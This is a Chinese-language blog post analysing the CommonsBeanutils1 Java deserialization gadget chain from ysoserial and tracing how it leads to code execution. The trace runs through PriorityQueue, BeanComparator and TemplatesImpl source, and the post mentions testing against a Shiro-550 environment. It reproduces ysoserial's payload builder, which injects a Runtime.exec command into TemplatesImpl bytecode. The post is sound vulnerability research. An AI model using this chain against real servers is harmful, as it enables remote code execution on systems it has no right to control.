CommonsBeanutils1 Chain

概述

在ysoserial中实现了CommonsBeanutils1反序列化链,可以利用这个链执行代码。

细节

在ysoserial中实现CommonsBeanutils1代码如下,首先new BeanComparator/PriorityQueue对象,在PriorityQueue对象内添加两个int对象,而后通过反射修改property字段存储的值

public class CommonsBeanutils1 implements ObjectPayload<Object> {

	public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final BeanComparator comparator = new BeanComparator("lowestSetBit");

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
		// stub data for replacement later
		queue.add(new BigInteger("1"));
		queue.add(new BigInteger("1"));

		// switch method called by comparator
		Reflections.setFieldValue(comparator, "property", "outputProperties");

		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = templates;

		return queue;
	}

    public static Object createTemplatesImpl(String command) throws Exception {
        return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    public static <T> T createTemplatesImpl(String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
        T templates = tplClass.newInstance();
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        CtClass clazz = pool.get(StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
        byte[] classBytes = clazz.toBytecode();
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

而后通过反射将PriorityQueue对象存储的两个BigInteger对象改为创建的TemplatesImpl对象。

根因分析 根据前面调试知道,CommonsBeanutils1序列化PriorityQueue对象,其中comparator指定为BeanComparatorPriorityQueue内存了两个TemplatesImpl对象。

使用 shiro 550环境,发送payload,在调试器中可以看到,首先反序列化PriorityQueue对象

在readObject断点,可以看到尝试反序列化comparator,这里是BeanComparator,并递归反序列化TemplatesImpl

而后readObject会调用heapify方法,跟进调用最后调用到comparator.compare

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

    private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

BeanComparator实现了Comparator接口,compare方法代码如下,其会调用getProperty方法,前面在ysoserial中property被设置为outputProperities

    public int compare(T o1, T o2) {
        if (this.property == null) {
            return this.internalCompare(o1, o2);
        } else {
            try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.internalCompare(value1, value2);
            } catch (IllegalAccessException var5) {
                throw new RuntimeException("IllegalAccessException: " + var5.toString());
            } catch (InvocationTargetException var6) {
                throw new RuntimeException("InvocationTargetException: " + var6.toString());
            } catch (NoSuchMethodException var7) {
                throw new RuntimeException("NoSuchMethodException: " + var7.toString());
            }
        }
    }

跟进getProperty方法内,其中bean为TemplatesImpl对象,会进入bean = this.getSimpleProperty(bean, name);

    public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        return PropertyUtilsBean.getInstance().getProperty(bean, name);
    }

    public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        return this.getNestedProperty(bean, name);
    }

    public Object getNestedProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        if (bean == null) {
            throw new IllegalArgumentException("No bean specified");
        } else if (name == null) {
            throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'");
        } else {
            while(this.resolver.hasNested(name)) {
                String next = this.resolver.next(name);
                Object nestedBean = null;
                if (bean instanceof Map) {
                    nestedBean = this.getPropertyOfMapBean((Map)bean, next);
                } else if (this.resolver.isMapped(next)) {
                    nestedBean = this.getMappedProperty(bean, next);
                } else if (this.resolver.isIndexed(next)) {
                    nestedBean = this.getIndexedProperty(bean, next);
                } else {
                    nestedBean = this.getSimpleProperty(bean, next);
                }

                if (nestedBean == null) {
                    throw new NestedNullException("Null property value for '" + name + "' on bean class '" + bean.getClass() + "'");
                }

                bean = nestedBean;
                name = this.resolver.remove(name);
            }

            if (bean instanceof Map) {
                bean = this.getPropertyOfMapBean((Map)bean, name);
            } else if (this.resolver.isMapped(name)) {
                bean = this.getMappedProperty(bean, name);
            } else if (this.resolver.isIndexed(name)) {
                bean = this.getIndexedProperty(bean, name);
            } else {
                bean = this.getSimpleProperty(bean, name);
            }

            return bean;
        }
    }

getSimpleProperty方法内会通过反射获取到TemplatesImpl对象property对应的的getter方法并调用,在java规范中outputProperities对应的getter方法名应该为getOutputProperities

    public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        if (bean == null) {
            throw new IllegalArgumentException("No bean specified");
        } else if (name == null) {
            throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'");
        } else if (this.resolver.hasNested(name)) {
            throw new IllegalArgumentException("Nested property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
        } else if (this.resolver.isIndexed(name)) {
            throw new IllegalArgumentException("Indexed property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
        } else if (this.resolver.isMapped(name)) {
            throw new IllegalArgumentException("Mapped property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'");
        } else if (bean instanceof DynaBean) {
            DynaProperty descriptor = ((DynaBean)bean).getDynaClass().getDynaProperty(name);
            if (descriptor == null) {
                throw new NoSuchMethodException("Unknown property '" + name + "' on dynaclass '" + ((DynaBean)bean).getDynaClass() + "'");
            } else {
                return ((DynaBean)bean).get(name);
            }
        } else {
            PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
            if (descriptor == null) {
                throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'");
            } else {
                Method readMethod = this.getReadMethod(bean.getClass(), descriptor);
                if (readMethod == null) {
                    throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'");
                } else {
                    Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
                    return value;
                }
            }
        }
    }

TemplatesImpl类中getOutputProperties方法代码如下,会调用newTransformer方法

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }
    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

newTransformer会调用getTransletInstance方法,在该方法内会调用defineTransletClasses方法,defineTransletClasses会读取_bytecodes并通过defineClass方法通过字节码加载成对应的类并构造对应的对象,所以这个过程会执行恶意类的构造方法。

    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setOverrideDefaultParser(_overrideDefaultParser);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

    private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

所以可以总结:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl_bytecodes属性可以包含类的字节码,通过newTransformer方法可以调用字节码对应类的构造函数或者静态函数。

public final class TemplatesImpl implements Templates, Serializable {
    static final long serialVersionUID = 673094361519270707L;
    public final static String DESERIALIZE_TRANSLET = "jdk.xml.enableTemplatesImplDeserialization";

    /**
     * Name of the superclass of all translets. This is needed to     * determine which, among all classes comprising a translet,     * is the main one.     */    private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

    /**
     * Name of the main class or default name if unknown.     */    private String _name = null;

    /**
     * Contains the actual class definition for the translet class and     * any auxiliary classes.     */    private byte[][] _bytecodes = null;

总结一下过程:PriorityQueue对象在反序列化过程中会触发排序,调用comparator.compare,在BeanComparator.compare方法中会尝试获取类的property对应的成员的值,其方法是通过尝试获取成员值对应的getter方法,而后调用这个getter方法。

而TemplatesImpl类的_bytecodes可以存储字节码并且可以通过newTransformer方法调用这个字节码对应类的构造函数或者静态方法,TemplatesImpl类的getOutputProperties方法会调用newTransformer方法。

而getOutputProperties在规范中对应于outputProperties的getter方法,最终构成反序列化链。

参考链接

https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html

创建于2024-01-11

Created at 2024-01-12T14:32:08+08:00

创建于:Friday, January 12,2024
最后修改于: Tuesday, May 28,2024